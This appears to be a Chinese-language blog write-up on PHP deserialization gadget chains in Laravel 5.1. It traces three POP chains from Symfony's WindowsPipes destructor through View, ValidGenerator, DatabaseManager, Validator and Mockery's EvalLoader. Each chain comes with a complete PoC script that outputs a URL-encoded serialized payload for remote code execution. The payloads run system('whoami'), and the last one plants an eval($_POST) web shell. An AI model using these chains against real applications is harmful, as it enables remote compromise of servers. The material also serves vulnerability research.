前言
初次编写,请师傅们多多照顾,如有错误,请批评指正
使用composer拉一个laravel5.1的环境
composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
配置路由 控制等不在叙述
先搜索__destruct
方法
在WindowsPipes
类中__destruct
方法可任意删除文件
这里调用到了$this->removeFiles()
跟进查看
遍历了$this->files
判断文件是否存在,然后删除文件。这里调用__toString
全局搜索__toString
在View
类中__toString
方法调用了$this->render()
跟进这个函数看看
发现调用了$this->renderContent()
跟进看看
这里调用了$this->factory->incrementRender()
可以调用任意类的__call
方法
全局搜索__call
方法
在ValidGenerator
类中__call
方法需要控制参数达到RCE的目的
$this->vaildator
可控,接下来我们只需要控制$res
即可
$res = call_user_func_array(array($this->generator, $name), $arguments);
调用方式为任意类的函数方法,$this->generator
可控,所以就代表了可以调用任意类的__call
方法,我们只需要找到一个__call
方法返回任何值即可。
在DefaultGenerator
类中__call
方法可以返回任意值,
接下来构造poc
<?php namespace Faker; class DefaultGenerator{ protected $default; public function __construct(){ $this->default='whoami'; } } namespace Faker; class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; public function __construct(){ $this->maxRetries=1; $this->validator='system'; $this->generator=new DefaultGenerator; } } namespace Illuminate\View; use Faker\ValidGenerator; class View{ protected $factory; public function __construct(){ $this->factory=new ValidGenerator; } } namespace Symfony\Component\Process\Pipes; use Illuminate\View\View; class WindowsPipes{ private $files = array(); public function __construct(){ $this->files = array(new View()); } } echo urlencode(serialize(new WindowsPipes())); ?>
成功RCE
继续从__call
方法寻找
全局搜索__calll
在DatabaseManager
类中调用了$this->connection()
跟进$this->connecttion()
通过$this->parseConnectionName($name)
给$name
赋值,跟进
通过$this->getDefaultConnection()
给$name
赋值,跟进
直接返回了$this->app['config']['database.default'];
最后返回,
跟进endsWitch
传入的$name
并不在传入的['::read','::write']
中所以返回false
最终返回了[$name,null]
$name
最终被传入的$this->app['config']['database.default']
赋值
当$this->connections[$name]
不存在,执行$this->makeConnection($name)
方法,跟进
发现call_user_func
方法控制参数可达到RCE的目的,
第二个参数$config
,跟进$this->getConfig()
看看返回值是什么
通过app['config']['database.connections']
赋值给$connections
然后通过Arr::get($connections, $name)
赋值给$config
跟进Arr::get
传入的$key
为whoami
,所以直接返回了system
相当于$config=$this->app['config']['database.connections']['whoami']
第一个参数$this->extensions[name]
赋值call_user_func
<?php namespace Illuminate\Database; class DatabaseManager{ protected $extensions = array(); protected $app=array(); public function __construct(){ $this->extensions['whoami']='call_user_func'; $this->app['config']['database.connections']=['whoami'=>'system']; $this->app['config']['database.default'] = 'whoami'; } } namespace Illuminate\View; use Illuminate\Database\DatabaseManager; class View{ protected $factory; public function __construct(){ $this->factory=new DatabaseManager; } } namespace Symfony\Component\Process\Pipes; use Illuminate\View\View; class WindowsPipes{ private $files = array(); public function __construct(){ $this->files = array(new View()); } } echo urlencode(serialize(new WindowsPipes())); ?>
成功RCE
继续从__call
方法寻找
全局搜索__call
在Validator
类中__call
方法中满足$this->extensions[$rule]
存在则调用$this->callExtension
方法
跟进看一下
满足$callback
是字符串则调用$this->callClassBasedExtension()
,继续跟进$this->callClassBasedExtension()
这里
call_user_func_array([$this->container->make($class), $method], $parameters);
只要控制$this->container->make($class)
的返回值,就可以调用任意类的任意方法。
全局搜索一下危险函数,如eval
,system
,call_user_func
,shell_exec
等
运气比较好搜了一下eval
便出了
在EvalLoader
类中存在load
方法满足class_exists($definition->getClassName(),false)===false
则调用了eval
函数
跟进一下$definition->getCode()
看一下参数是否可控
直接返回了$this->code
参数便可控,
调用load
函数中,发现需要传参MockDefinition $definition
,上面调用__call
这一步就没有办法用了,因为没有传参。所以无法控制$parameters
。所以这里换到了ObjectStateToken
类中的__toString
函数可以控制传参。
成功调用到了EvalLoader
类中的load
函数
看一下class_exists
的定义
$definition->getClassName()
返回一个没有定义的类即可。跟进查看
返回了$this->config->getName()
让他去调用__call
方法返回一个任意值即可。
这里还利用DefaultGenerator
类中的__call
方法返回任意值,
接下来控制$definition->getCode()
,跟进查看一下
直接返回了$this->code
直接赋值即可。
构造poc
<?php namespace Mockery\Loader; class EvalLoader{} namespace Faker; use Mockery\Loader\EvalLoader; class DefaultGenerator{ public $default; public function __construct(){ $this->default=new EvalLoader; } } namespace Illuminate\Validation; use Faker\DefaultGenerator; class Validator{ protected $extensions = []; protected $container; public function __construct(){ $this->extensions['y']='[email protected]'; $this->container=new DefaultGenerator; } } namespace Mockery\Generator; use Faker\DefaultGenerator; class MockDefinition{ protected $config; public function __construct(){ $this->config=new DefaultGenerator; $this->config->default='huahua'; $this->code='<?php eval($_POST[1]);'; } } namespace Prophecy\Argument\Token; use Illuminate\Validation\Validator; use Mockery\Generator\MockDefinition; class ObjectStateToken{ private $util; private $value; public function __construct(){ $this->util=new Validator; $this->value=new MockDefinition; } } namespace Symfony\Component\Process\Pipes; use Prophecy\Argument\Token\ObjectStateToken; class WindowsPipes{ private $files = array(); public function __construct(){ $this->files = array(new ObjectStateToken()); } } echo urlencode(serialize(new WindowsPipes())); ?>